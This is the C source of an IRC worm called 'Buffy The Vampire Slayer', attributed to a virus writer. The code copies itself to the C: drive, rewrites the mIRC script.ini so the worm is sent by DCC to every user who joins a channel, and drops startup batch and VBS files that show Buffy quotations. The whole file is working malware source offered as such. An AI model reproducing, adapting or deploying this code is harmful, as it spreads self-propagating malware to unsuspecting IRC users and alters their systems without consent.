// Worm Name: Buffy The Vampire Slayer
// Version: A
// Author: Gigabyte
// Website: http://www.coderz.net/gigabyte

#include <stdio.h>
#include <string.h>

short WormCopy(char SRCFileName[], char DSTFileName[])
{
	FILE *SRC, *DST;
	char Buffer[1024];
	short Counter = 0;
	short Status = 0;
	SRC = fopen(SRCFileName, "rb");
	if(SRC)
	{
		DST = fopen(DSTFileName, "wb");
		if(DST)
		{
			while(! feof(SRC))
			{
				Counter = fread(Buffer, 1, 1024, SRC);
				if(Counter)
				fwrite(Buffer, 1, Counter, DST);
			}
		Status = 1;
		}
	}
	fclose(SRC);
	fclose(DST);
	return Status;
}


void main(int argc, char **argv)
{

	FILE *buffy;

	char ProgName[100];
	strcpy(ProgName, argv[0]);
	WormCopy(ProgName, "c:\\BTVS.exe");

	buffy = fopen("c:\\mirc\\script.ini","wt");
	if(buffy)
	{
		fprintf(buffy,"[script]\nn0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }\nn1=/dcc send $nick");
    	fprintf(buffy," c:/BTVS.exe\nn2=}\n");
		fprintf(buffy,"n3=ON 1:CONNECT:/join #virus | /timer5 1 2 /msg #virus In every generation there is a chosen one...She alone will stand against the vampires, the demons, and the forces of darkness...She is the slayer... | /timer4 1 5 /part #virus");
	}
   	fclose(buffy);

	buffy = fopen("c:\\windows\\winstart.bat","wt");
	if(buffy)
	{
		fprintf(buffy,"@cls\n");
		fprintf(buffy,"@echo We like to talk big. Vampires do. 'I'm going to destroy the world.' \n");
		fprintf(buffy,"@echo That's just tough guy talk. Strutting around with your friends \n");
		fprintf(buffy,"@echo over a pint of blood. The truth is, I like this world. You've got... \n");
		fprintf(buffy,"@echo dog racing, Manchester United. And you've got people. Billions of people \n");
	    	fprintf(buffy,"@echo walking around like Happy Meals with legs. It's all right here. But then \n");
		fprintf(buffy,"@echo someone comes along with a vision. With a real... passion for destruction. \n");
		fprintf(buffy,"@echo Angel could pull it off. Goodbye, Picadilly. Farewell, Leicester Bloody Square. You know what I'm saying?\n");
	}
	fclose(buffy);

	buffy = fopen("c:\\windows\\STARTM~1\\programs\\startup\\start.vbs","wt");
	if(buffy)
	{
		fprintf(buffy,"msgbox %cNo one asks for their life to change, not really. But it does. So what, are we helpless? Puppets? No. The big moments are gonna come. You can't help that.%c", 34, 34);
	}
}


